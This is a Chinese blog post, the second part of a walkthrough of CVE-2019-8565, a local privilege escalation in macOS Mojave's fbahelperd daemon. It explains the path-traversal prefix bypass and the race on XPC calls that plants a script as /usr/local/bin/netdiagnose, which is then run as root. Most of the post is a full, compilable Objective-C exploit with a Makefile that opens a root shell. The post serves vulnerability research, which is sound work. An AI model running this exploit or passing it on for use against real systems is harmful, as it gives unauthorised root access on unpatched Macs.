本文承接上篇继续分析CVE-2019-8565这个洞,上文留下了一些疑问,例如,为何父进程能访问/usr/local/bin/netdiagnose
就能够证明绕过了检查?既然绕过了安全检查,接下来该如何拿到root shell?
主机: macOS Mojave 10.14.2 18C54
IDA继续分析fbahelperd
,看到方法copyLogFiles
,该方法接受一个NSDictionary
参数,其key值是文件的源路径,value值则是目标路径,将源路径文件复制到目标路径
但无论是源路径还是目标路径都必须具有前缀/var/folders/
、/private/var/
或/tmp/
在我们的EXP中可以这样绕过前缀检查
NSMutableDictionary *traversal(NSDictionary *mapping) { NSMutableDictionary *transformed = [[NSMutableDictionary alloc] init]; for (NSString *key in mapping) { NSString *val = mapping[key]; NSString *newKey = [@"/var/log/../../.." stringByAppendingPathComponent:key]; // 绕过路径检查 NSString *newVal = [@"/tmp/../.." stringByAppendingPathComponent:val]; transformed[newKey] = newVal; } return transformed; }
IDA中继续看到方法runMobilityReportWithDestination:
,这里会调用/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info
这个脚本。另外调用该方法需要一个路径参数,这个路径同样需要具有前缀/var/folders/
、/private/var/
或/tmp/
打开/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info
,发现脚本里调用了/usr/local/bin/netdiagnose
,而该文件默认不存在,这就为我们拿到root shell提供了一个思路
拿到root shell的流程:
fbahelperd
的安全检查fbahelperd
的检查后,调用copyLogFiles:
方法将root.sh
复制到/usr/local/bin/netdiagnose
runMobilityReportWithDestination:
,并传入一个路径参数(要能通过前缀检查),最后会以root权限调用/usr/local/bin/netdiagnose
这个我们复制过去的脚本
定义BAPrivilegedDaemon
接口类
@protocol FBAPrivilegedDaemon <NSObject>- (void)copyLogFiles:(NSDictionary *)mapping; - (void)runMobilityReportWithDestination:(NSURL *)dest;@end
在条件竞争阶段(stage == 1),先将root.sh
复制到/usr/local/bin/netdiagnose
。在检查通过阶段(stage == 2),调用方法runMobilityReportWithDestination
打开root shell
extern char **environ;void child(const char *path, int stage) { NSDictionary *transformed = [[NSDictionary alloc] initWithContentsOfFile:[NSString stringWithUTF8String:path]]; // "/var/log/../../../var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/E694DB2F-72C9-4911-85F5-E1FED6726D6C-52092-00004AAFD253FE62/bin/root.sh" = "/tmp/../../usr/local/bin/netdiagnose" NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.appleseed.fbahelperd" options:NSXPCConnectionPrivileged]; connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(FBAPrivilegedDaemon)]; [connection resume]; id remote = connection.remoteObjectProxy; if (stage == 1) [remote copyLogFiles:[NSDictionary dictionaryWithDictionary:transformed]]; // 将root.sh复制到"/usr/local/bin/netdiagnose" if (stage == 2) [remote runMobilityReportWithDestination:[NSURL fileURLWithPath:@"/tmp/2333"]]; // 绕过路径检查,执行"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info" char target_binary[] = BINARY; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); }
root.sh
写入的内容如下
#define SHELL_TEMPLATE @"#!/bin/shn" "/Users/wooy0ung/workspace/lldbit/mac/CVE-2019-8565/./bin/exploitn" "/Applications/iTerm.app/Contents/MacOS/iTerm2n" "rm -- "$0"n"
运行EXP,可以发现/usr/local/bin/
路径下root.sh
脚本已经被复制过去并重命名为netdiagnose
最后拿到一个root shell
完整的EXP
#import <Foundation/Foundation.h>#include <notify.h>#include <spawn.h>#include <sys/stat.h>#define USR_LOCAL_BIN @"/usr/local/bin"#define BINARY "/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/MacOS/Feedback Assistant"#define MOBILITY_SCRIPT "/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info"#define NOTIFY_NAME "me.chichou.fbaroot"#define LOG(fmt, ...) NSLog(@"[LightYear] " fmt "n", ##__VA_ARGS__)@protocol FBAPrivilegedDaemon <NSObject>- (void)copyLogFiles:(NSDictionary *)mapping; - (void)runMobilityReportWithDestination:(NSURL *)dest;@endextern char **environ;void child(const char *path, int stage) { NSDictionary *transformed = [[NSDictionary alloc] initWithContentsOfFile:[NSString stringWithUTF8String:path]]; // "/var/log/../../../var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/E694DB2F-72C9-4911-85F5-E1FED6726D6C-52092-00004AAFD253FE62/bin/root.sh" = "/tmp/../../usr/local/bin/netdiagnose" NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.appleseed.fbahelperd" options:NSXPCConnectionPrivileged]; connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(FBAPrivilegedDaemon)]; [connection resume]; id remote = connection.remoteObjectProxy; if (stage == 1) [remote copyLogFiles:[NSDictionary dictionaryWithDictionary:transformed]]; // 将root.sh复制到"/usr/local/bin/netdiagnose" if (stage == 2) [remote runMobilityReportWithDestination:[NSURL fileURLWithPath:@"/tmp/2333"]]; // 绕过路径检查,执行"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info" char target_binary[] = BINARY; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); }NSMutableDictionary *traversal(NSDictionary *mapping) { NSMutableDictionary *transformed = [[NSMutableDictionary alloc] init]; for (NSString *key in mapping) { NSString *val = mapping[key]; NSString *newKey = [@"/var/log/../../.." stringByAppendingPathComponent:key]; // 绕过路径检查 NSString *newVal = [@"/tmp/../.." stringByAppendingPathComponent:val]; transformed[newKey] = newVal; } return transformed; }NSDictionary *prepare() { NSError *err = nil; NSFileManager *mgr = [NSFileManager defaultManager]; NSString *guid = [[NSProcessInfo processInfo] globallyUniqueString]; // 获取唯一标志符 NSString *cwd = [NSTemporaryDirectory() stringByAppendingPathComponent:guid]; [mgr removeItemAtPath:cwd error:nil]; // 存在该目录便立即删除掉 NSString *fakebin = [cwd stringByAppendingPathComponent:@"bin"]; // 在路径上添加bin目录 [mgr createDirectoryAtPath:fakebin withIntermediateDirectories:YES attributes:nil error:&err]; // 创建目录 // argument for copyLogFiles: NSMutableDictionary *mapping = [[NSMutableDictionary alloc] init]; // write launcher NSString *launcher = [fakebin stringByAppendingPathComponent:@"root.sh"];#define SHELL_TEMPLATE @"#!/bin/shn" "%@n" "/Applications/iTerm.app/Contents/MacOS/iTerm2n" "rm -- "$0"n" // 删除自身 NSString *exec = [[NSBundle mainBundle] executablePath]; // 获取当前二进制程序路径,例如"/Users/wooy0ung/workspace/lldbit/mac/CVE-2019-8565/./bin/exploit" NSString *sh = [NSString stringWithFormat:SHELL_TEMPLATE, exec]; // 格式化字符串,"%@"处用exec内容替换 [sh writeToFile:launcher atomically:NO encoding:NSUTF8StringEncoding error:&err]; // 将sh的内容写入root.sh // LOG(@"%@n%@", sh, err); // find /usr/local/bin/* //NSString *mobility = [NSString stringWithContentsOfFile:@MOBILITY_SCRIPT encoding:NSUTF8StringEncoding error:&err]; //NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"if \[ -x /usr/local/bin/(\w+)" // options:NSRegularExpressionCaseInsensitive // error:&err]; //NSTextCheckingResult *match = [regex firstMatchInString:mobility options:0 range:NSMakeRange(0, [mobility length])]; // 匹配"if \[ -x /usr/local/bin/(\w+)" //if (!match) { // LOG("Fatal error: this exploit may not work on your system."); // return nil; //} //NSString *privileged = [mobility substringWithRange:[match rangeAtIndex:1]]; //NSString *canary = [USR_LOCAL_BIN stringByAppendingPathComponent:privileged]; // 匹配获得一个特权级的程序路径,例如"/usr/local/bin/netdiagnose" //NSLog(privileged); //NSLog(canary); NSString *canary = @"/usr/local/bin/netdiagnose"; BOOL isDir = NO; BOOL doesBrewExists = [mgr fileExistsAtPath:USR_LOCAL_BIN isDirectory:&isDir]; // 判断brew是否安装 if (doesBrewExists && isDir) { mapping[launcher] = canary; } else { mapping[fakebin] = USR_LOCAL_BIN; } NSString *session = [cwd stringByAppendingPathComponent:@"task.plist"]; // /var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/293B88C8-D8C3-4546-AF20-7B412E3B9272-43510-0000474BAA9F3EA0/task.plist NSDictionary *transformed = traversal(mapping); // "/var/log/../../../var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/D55EF23C-E3DC-4CFF-BA87-8F9C8DB17F7D-38989-000043E5CEE1B3B8/bin/root.sh" = "/tmp/../../usr/local/bin/netdiagnose" [transformed writeToFile:session atomically:NO]; // 生成一个关联"/usr/local/bin/netdiagnose"及其启动脚本"root.sh"的plist文件 //NSLog(@"session:n"); //LOG("%@n", session); // LOG("dictionary: %@", transformed); /** │ File: task.plist ───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────── 1 │ <?xml version="1.0" encoding="UTF-8"?> 2 │ <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> 3 │ <plist version="1.0"> 4 │ <dict> 5 │ <key>/var/log/../../../var/folders/cf/jsvwdrj532q17tgmsnxl4x1c0000gn/T/218BE25D-17FC-4780-A56D-7F61 │ 33EADF00-33219-000034A514EFF666/bin/root.sh</key> 6 │ <string>/tmp/../../usr/local/bin/netdiagnose</string> 7 │ </dict> 8 │ </plist> */ return @{@"session" : session, @"canary" : canary}; }#define RACE_COUNT 16#define SPAWN_CHILDREN(stage) for (int i = 0; i < RACE_COUNT; i++) processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ session, @ #stage ]];#define TERMINATE_CHILDREN for (int i = 0; i < RACE_COUNT; i++) [processes[i] terminate];int exploit(NSString *session, const char *canary) { int status = 0; NSString *exec = [[NSBundle mainBundle] executablePath]; NSTask *processes[RACE_COUNT]; LOG("Now race"); SPAWN_CHILDREN(1); int i = 0; struct timespec ts = { .tv_sec = 0, .tv_nsec = 500 * 1000000, }; while (access(canary, F_OK) == -1) { // 访问"/usr/local/bin/netdiagnose"失败,等待,用以判断race是否成功 nanosleep(&ts, NULL); if (++i > 4) { // wait for 2 seconds at most LOG("Stage 1 timed out, retry"); status = -1; goto cleanup; } } chmod(canary, 0777); // 访问成功后将权限提到最高 LOG("Stage 1 succeed"); dispatch_semaphore_t semaphore = dispatch_semaphore_create(0); int token; notify_register_dispatch(NOTIFY_NAME, &token, dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^(int token) { LOG("It works!"); dispatch_semaphore_signal(semaphore); notify_cancel(token); }); SPAWN_CHILDREN(2); // wait for 2s dispatch_time_t timeout = dispatch_time(DISPATCH_TIME_NOW, 2.0 * NSEC_PER_SEC); status = dispatch_semaphore_wait(semaphore, timeout); // 当在2秒内成功将消息派发就成功 if (status != 0) LOG("Timed out"); cleanup: TERMINATE_CHILDREN return status; }int root() { notify_post(NOTIFY_NAME); // 接收到一个派发的消息 LOG("I am groot (euid: %d)", geteuid()); LOG("bye"); return 0; }int main(int argc, char *argv[]) { @autoreleasepool { if (geteuid()) { if (argc == 3) { // 子进程会执行这里 child(argv[1], atoi(argv[2])); return 0; } NSDictionary *ctx = prepare(); // 首次会调用这里 if (!ctx){ return 1;} for (int i = 0; i < 3; i++) { // 尝试3次,共spawn 16 * 2 * 3个子进程 if (exploit(ctx[@"session"], [ctx[@"canary"] UTF8String]) == 0) return 0; } LOG("all tries failed"); return 1; } else { return root(); } } }
Makefile
SRC = exploit.m OUTPUT = bin/exploit.PHONY: execexec: $(SRC) @mkdir -p bin clang $(SRC) -framework Foundation -o $(OUTPUT)run: exec $(OUTPUT)format: clang-format -i $(SRC)
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.